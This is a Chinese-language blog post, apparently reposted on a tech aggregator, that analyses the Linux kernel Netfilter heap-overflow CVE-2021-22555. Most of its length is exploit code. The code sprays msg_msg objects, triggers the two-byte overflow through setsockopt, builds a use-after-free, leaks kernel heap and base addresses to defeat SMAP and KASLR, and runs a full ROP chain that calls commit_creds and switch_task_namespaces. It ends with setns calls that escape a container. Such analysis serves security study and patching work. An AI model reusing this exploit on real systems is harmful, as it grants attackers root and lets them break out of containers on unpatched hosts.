主頁 >  其他 > 關于內核堆溢位漏洞的分析

關于內核堆溢位漏洞的分析

2022-01-02 07:41:00 其他

一、漏洞背景

CVE-2021-22555是一個存在了15年之久的內核堆溢位漏洞,它位于內核的Netfilter組件中,這個組件可以被用來實作防火墻、NAT等功能,

該漏洞在2006年由commit 9fa492cdc160cd27ce1046cb36f47d3b2b1efa21引入,并在2021年由commit b29c457a6511435960115c0f548c4360d5f4801d修復,

利用這個漏洞可以導致目標系統拒絕服務,甚至實作提權、容器逃逸并執行任意代碼,危害等級極高,

二、漏洞分析

漏洞位于net/netfilter/x_tables.c的xt_compat_target_from_user函式:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
                unsigned int *size)
{
    const struct xt_target *target = t->u.kernel.target;
    struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
    int pad, off = xt_compat_target_offset(target);
    u_int16_t tsize = ct->u.user.target_size;
    char name[sizeof(t->u.user.name)];

    t = *dstptr;
    memcpy(t, ct, sizeof(*ct));
    if (target->compat_from_user)
        target->compat_from_user(t->data, ct->data);
    else
        memcpy(t->data, ct->data, tsize - sizeof(*ct));
    pad = XT_ALIGN(target->targetsize) - target->targetsize;
    if (pad > 0)
        memset(t->data + target->targetsize, 0, pad);

    tsize += off;
    t->u.user.target_size = tsize;
    strlcpy(name, target->name, sizeof(name));
    module_put(target->me);
    strncpy(t->u.user.name, name, sizeof(t->u.user.name));

    *size += off;
    *dstptr += tsize;
}

緩沖區溢位發生在memset(t->data + target->targetsize, 0, pad)這個陳述句,其本意是講已經對齊的緩沖區多余的pad個位元組清零,由于在分配記憶體的時候沒有考慮到對齊,t->data之后只有target->targetsize個位元組的有效存盤空間,導致這里會發生pad個位元組的溢位,通過選擇不同的target,可以控制targetsize,進而控制溢位位元組數pad,

要讓內核執行到有漏洞的xt_compat_target_from_user函式,需要在用戶空間呼叫setsockopt,并提供IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE作為第3個引數,這個操作需要用戶行程擁有CAP_NET_ADMIN能力,而這個能力可以通過切換到新的用戶+網路名稱空間來獲得,

【一>所有資源獲取<一】
1、200份很多已經買不到的絕版電子書
2、30G安全大廠內部的視頻資料
3、100份src檔案
4、常見安全面試題
5、ctf大賽經典題目決議
6、全套工具包
7、應急回應筆記
8、網路安全學習路線

三、EXP分析

EXP整體思路是利用堆溢位改寫特殊鏈表的指標,進而實作UAF,最后改寫特定內核結構體的函式指標來實作代碼執行,

3.1 實作UAF

3.1.1 申請訊息佇列

通過msgget申請NUM_MSQIDS個訊息佇列,在EXP中NUM_MSQIDS等于4096,訊息佇列數目沒有特殊要求,數目越多則EXP越穩定,原因后面會解釋,這步是為后面的堆噴做準備,

for (int i = 0; i < NUM_MSQIDS; i++) {
  if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
    perror("[-] msgget");
    goto err_no_rmid;
  }
}

3.1.2 發送主要訊息

通過msgsnd給每個訊息佇列都發送一個4096位元組的訊息,暫且稱這些訊息為主要訊息,每個訊息的內容是其所在訊息佇列的序號,分別為0-4095,注意這里所謂的4096位元組并非指訊息內容的長度,而是指訊息傳遞到內核空間之后,內核為容納該訊息而開辟的堆緩沖區的大小,該緩沖區容納了一個結構體msg_msg的實體和訊息的實際內容,后面所提及的“訊息長度”都是指內核緩沖區的長度,

printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
  memset(&msg_primary, 0, sizeof(msg_primary));
  *(int *)&msg_primary.mtext[0] = MSG_TAG;
  *(int *)&msg_primary.mtext[4] = i;
  if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
      0)
    goto err_rmid;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
  *(long *)msgp = msgtyp;
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
    perror("[-] msgsnd");
    return -1;
  }
  return 0;
}

這里所使用的msgsnd函式是最常用的堆噴手段之一,因為傳遞的訊息內容會一成不變地復制到內核緩沖區中, 這樣就可以達到控制內核緩沖區內容的目的,當訊息傳遞到內核空間時,內核是通過alloc_msg函式來申請堆緩沖區的:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    // 取實際訊息長度len和DATALEN_MSG中的最小值為第一個訊息分片的長度
    alen = min(len, DATALEN_MSG);
    // 為首個訊息分片開辟緩沖區,長度為結構體msg_msg加上alen
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;

    msg->next = NULL;
    msg->security = NULL;

    len -= alen;
    pseg = &msg->next;
    // 若首個訊息分片不足以容納完整的訊息,將陸續開辟后續的訊息分片
    while (len > 0) {
        struct msg_msgseg *seg;

        cond_resched();

        alen = min(len, DATALEN_SEG);
        // 為后續訊息分片開辟緩沖區,長度為結構體msg_msgseg加上alen
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }

    return msg;

out_err:
    free_msg(msg);
    return NULL;
}

其中,結構體msg_msg的定義如下:

struct msg_msg {
    struct list_head m_list;
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;
    void *security;
    /* the actual message follows immediately */
};

struct list_head {
    struct list_head *next, *prev;
};

內核為訊息開辟好緩沖區后,會將其插入到每個訊息佇列中,形成一個雙向鏈表,每個訊息的m_list.next指標指向下一個訊息,m_list.prev指向前一個訊息,

需要注意的是,當訊息實際內容的長度大于閾值DATALEN_MSG時,內核會對訊息進行分片,這在利用程序中是必須要避免的,所幸的是這里選擇的長度并不會導致訊息分片,

發送完后,極大概率存在部分主要訊息在地址上是連續的:

image.png

3.1.3 發送次要訊息

再給每個訊息佇列發送1024個位元組的次要訊息,每個訊息的內容同樣是其所在訊息佇列的序號,

printf("[*] Spraying secondary messages...\n");{{
for (int i = 0; i < NUM_MSQIDS; i++) {
  memset(&msg_secondary, 0, sizeof(msg_secondary));
  *(int *)&msg_secondary.mtext[0] = MSG_TAG;
  *(int *)&msg_secondary.mtext[4] = i;
  if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
                MTYPE_SECONDARY) < 0)
    goto err_rmid;
}

發送完后,每個主要訊息后面都會跟著一個次要訊息,且它們的內容是相同的:

image.png

3.1.4 釋放部分主要訊息

從第1024號佇列開始,每隔1024個佇列釋放一個主要訊息,這一步釋放的緩沖區將在后面觸發漏洞時重新申請使用,將間隔設定為1024也是因為這樣選出的主要訊息所在的記憶體位置之后緊鄰另一個主要訊息的可能性更大,

printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
  if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
      0)
    goto err_rmid;
}

3.1.5 觸發緩沖區溢位漏洞

重新申請上一步釋放的緩沖區,同時觸發緩沖區溢位漏洞,將緩沖區外2個位元組覆寫為0,前面提到,上一步釋放的緩沖區后面極大概率緊跟著一個主要訊息,這是因為前面發送了大量主要訊息,將內核記憶體分配器能分配的記憶體空洞都填滿了之后,所獲得的緩沖區極大概率是相鄰的,所以,申請的訊息佇列數目越多,發送越多的主要訊息,記憶體空洞被填滿的概率越大,EXP也就越穩定,在這種理想情況下,這一步會將緩沖區后面的主要訊息的next指標的最低位2個位元組覆寫為0,導致其指向另外一個次要訊息,這樣,就會有2個主要訊息的next指標指向同一個次要訊息,

image.png

printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
  goto err_rmid;

int trigger_oob_write(int s) {
  struct __attribute__((__packed__)) {
    struct ipt_replace replace;
    struct ipt_entry entry;
    struct xt_entry_match match;
    char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
    struct xt_entry_target target;
  } data = {0};

  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
                       sizeof(data.pad) + sizeof(data.target));

  data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
                            sizeof(data.pad) + sizeof(data.target));
  data.entry.target_offset =
      (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

  data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
  strcpy(data.match.u.user.name, "icmp");
  data.match.u.user.revision = 0;

  data.target.u.user.target_size = sizeof(data.target);
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;

  // Partially overwrite the adjacent buffer with 2 bytes of zero.
  if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
    if (errno == ENOPROTOOPT) {
      printf("[-] Error ip_tables module is not loaded.\n");
      return -1;
    }
  }

  return 0;
}

3.1.6 實作UAF

利用帶MSG_COPY引數的msgrcv函式搜索同一訊息佇列但內容不同的主要訊息和次要訊息,這樣就可以在不釋放訊息緩沖區的前提下查看訊息內容,前面提到,同一訊息佇列的主要訊息和次要訊息的內容在正常情況下應該是相同的,如果不同,說明該主要訊息的next指標在上一步被改寫了,導致2個訊息佇列包含同一個次要訊息,再釋放其中一個佇列的次要訊息,由于另一個佇列還在使用該次要訊息,就實作了UAF,

image.png

printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
  if (i != 0 && (i % HOLE_STEP) == 0)
    continue;
  if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
    goto err_no_rmid;
  if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
    printf("[-] Error could not corrupt any primary message.\n");
    goto err_no_rmid;
  }
  if (*(int *)&msg_secondary.mtext[4] != i) {
    fake_idx = i;
    real_idx = *(int *)&msg_secondary.mtext[4];
    break;
  }
}

if (fake_idx == -1 && real_idx == -1) {
  printf("[-] Error could not corrupt any primary message.\n");
  goto err_no_rmid;
}

// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);

printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
              MTYPE_SECONDARY) < 0)
  goto err_rmid;

3.2 繞過SMAP

如果內核開啟了SMAP,用戶空間的資料將不能被內核訪問,就需要通過資訊泄露獲取內核空間的地址來利用內核空間的資料,

3.2.1 構造偽次要訊息

上一步釋放了一個次要訊息所占據的緩沖區,為了方便說明,后面稱之為關鍵緩沖區,關鍵緩沖區雖然被釋放了,但還是有一個訊息佇列在使用關鍵緩沖區,

通過write函式向UNIX socket寫入資料的方式構造許多個偽次要訊息,之所以要構造多個,是為了切實地將虛假資料寫入已經被釋放的關鍵緩沖區中,這也是實作堆噴的重要手段,由于沒有多余的資料結構占據通過該手段寫入的緩沖區,因而可以完全控制內核緩沖區的內容,

這里構造的偽次要訊息的m_ts欄位(表示訊息內容長度的欄位)為不需要分片的最大訊息內容長度,要遠遠大于1024位元組的真實次要訊息內容長度,相當于將相鄰的次要訊息也納入偽次要訊息的范圍,

image.png

// Reclaim the previously freed secondary message with a fake msg_msg of
// maximum possible size.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
              PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
  goto err_rmid;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = MTYPE_FAKE;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (write(ss[i][0], buf, size) < 0) {
        perror("[-] write");
        return -1;
      }
    }
  }
  return 0;
}

3.2.2 越界讀取相鄰次要訊息

由于構造的偽次要訊息的m_ts欄位要遠大于真實次要訊息內容長度,通過讀取該訊息可以越界讀取相鄰次要訊息的頭部內容,包括next指標,這樣就獲得了該next指標所指向的主要訊息的地址(訊息佇列是雙向鏈表),

// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
  goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
  printf("[-] Error could not leak adjacent secondary message.\n");
  goto err_rmid;
}

// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
  kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.2.3 再次構造偽次要訊息

獲得了相鄰次要訊息所指向的主要訊息的地址后,通過read函式讀取socket內容的方式釋放偽次要訊息,讓關鍵緩沖區再次進入被釋放狀態,然后,以相同的方式重新構造偽次要訊息,這次構造的m_ts欄位要大于訊息分片的閾值,next欄位等于相鄰次要訊息所指向的主要訊息的地址-結構msg_msgseg的長度,這樣做相當于將該主要訊息偽造成下一個訊息片段,那么在讀取偽次要訊息時,就可以讀取該主要訊息的next指標,該指標指向相鄰次要訊息,將指標內容減去1024即可獲得偽次要訊息即關鍵緩沖區的地址,

// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
              sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
  goto err_rmid;

// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
  goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
  printf("[-] Error could not leak primary message.\n");
  goto err_rmid;
}

// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
  kheap_addr = msg->m_list_prev;

// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

3.3 繞過KASLR/SMEP

接下來將通過泄露內核.data段的地址來繞過KASLR,并通過利用內核gadget構造ROP鏈來繞過SMEP,

3.3.1 釋放偽次要訊息

前面構造的偽次要訊息的內容是通過socket寫入的,那么內核肯定有一個跟socket相關的結構體是指向偽次要訊息緩沖區的,事實上該結構體為sk_buff,

image.png

由于結構體msg_msg占據了訊息緩沖區前面部分,msgrcv不能完全讀取緩沖區的內容,而通過socket則相反,因此,需要通過msgrcv將關鍵緩沖區釋放,后面通過socket讀取關鍵緩沖區的內容,

由于之前構造的偽次要訊息的next和prev指標不是有效的地址,現階段不能直接通過msgrcv釋放該偽次要訊息,因為內核會檢查訊息佇列鏈表的完整性,

為了能通過msgrcv釋放偽次要訊息,需要依次執行以下步驟:

  1. 通過讀取socket釋放關鍵緩沖區,
  2. 通過寫入socket再次申請關鍵緩沖區,寫入內容為重新構造的偽次要訊息,其next和prev指標為自身地址,這樣就能繞過鏈表完整性檢查,
  3. 通過msgrcv釋放偽次要訊息,
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
  goto err_rmid;

printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
  goto err_rmid;

3.3.2 泄露內核地址

上一步執行完后,還有sk_buff指向關鍵緩沖區,那么,如果在關鍵緩沖區填入包含指向內核.data段指標的資料結構,再通過讀取socket來獲得緩沖區的完整內容,就可以獲得內核.data段的地址,進而計算出.text段的地址,讓利用內核gadget成為可能,

image.png

結構體pipe_buffer是個很好的目標,其定義如下:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    ...
    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
    ...
};

pipe_buffer的成員ops指向一個位于內核.data段的資料結構anon_pipe_buf_ops,它將是接下來的泄露目標,

而且,ops指向的資料結構包含很多跟管道操作相關的函式指標,其中一個是release,它所指向的函式將在釋放管道時被呼叫,那么,通過篡改ops指向偽造的pipe_buf_operations結構,在釋放管道時就可以劫持控制流,

為泄露內核.data段的地址,將進行以下步驟:

  1. 通過向多個管道寫入資料讓內核構造多個pipe_buffer結構體的實體,其中一個實體將占據關鍵緩沖區,此時記憶體布局如下:

image.png

  1. 讀取socket,獲得anon_pipe_buf_ops的地址,也就是獲得了內核.data段地址,
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
  if (pipe(pipefd[i]) < 0) {
    perror("[-] pipe");
    goto err_rmid;
  }
  // Write something to populate pipe_buffer.
  if (write(pipefd[i][1], "pwn", 3) < 0) {
    perror("[-] write");
    goto err_rmid;
  }
}

printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
  for (int j = 0; j < NUM_SKBUFFS; j++) {
    if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
      perror("[-] read");
      goto err_rmid;
    }
    if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
      pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
  }
}

kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

此時關鍵緩沖區已被釋放,記憶體布局如下:

image.png

3.4 提權和容器逃逸

先通過寫入socket構造偽pipe_buffer,讓ops指標指向在關鍵緩沖區偽造的pipe_buf_operations,其中的release指標指向跟堆疊遷移相關的內核.text段的gadget,

image.png

同時,在關鍵緩沖區構造ROP鏈依序執行以下任務:

  1. 保存RBP,
  2. 執行commit_creds(prepare_kernel_cred(NULL)),這一步是為了獲得root權限,
  3. 執行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy),這一步在容器環境中才有用,否則只是冗余步驟,作用是pid為1的行程的名稱空間替換為容器初始化時的全域名稱空間init_nsproxy,init_nsproxy名稱空間可以訪問宿主機的檔案系統,
  4. 恢復RBP并恢復正常執行流程,
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
  goto err_rmid;

void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
  uint64_t *rop;

  *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
  *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

  rop = (uint64_t *)&buf[0xD8];

  // Save RBP at scratchpad_addr.
  *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
  *rop++ = scratchpad_addr; // R12
  *rop++ = 0xDEADBEEF;      // RBP
  *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBX
  *rop++ = 0xDEADBEEF; // R12
  *rop++ = 0xDEADBEEF; // RBP

  // commit_creds(prepare_kernel_cred(NULL))
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 0; // RDI
  *rop++ = kbase_addr + PREPARE_KERNEL_CRED;
  *rop++ = kbase_addr + POP_RCX_RET;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
  *rop++ = kbase_addr + COMMIT_CREDS;

  // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 1; // RDI
  *rop++ = kbase_addr + FIND_TASK_BY_VPID;
  *rop++ = kbase_addr + POP_RCX_RET;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
  *rop++ = kbase_addr + POP_RSI_RET;
  *rop++ = kbase_addr + INIT_NSPROXY; // RSI
  *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

  // Load RBP from scratchpad_addr and resume execution.
  *rop++ = kbase_addr + POP_RBP_RET;
  *rop++ = scratchpad_addr - 0xA; // RBP
  *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
  *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
}

釋放管道,執行release所指向的gadget,將內核堆疊遷移到關鍵緩沖區構造的ROP鏈處,然后執行完整個ROP鏈,實作提權,

printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
  if (close(pipefd[i][0]) < 0) {
    perror("[-] close");
    goto err_rmid;
  }
  if (close(pipefd[i][1]) < 0) {
    perror("[-] close");
    goto err_rmid;
  }
}

最后,將當前行程的名稱空間替換成1號行程的,而1號行程的名稱空間已經替換成容器初始化時的全域名稱空間init_nsproxy,由此實作容器逃逸,

setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/400415.html

標籤:其他

上一篇:【語意分割】初識U-Net

下一篇:Intel-Joule-570x刷板記錄

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

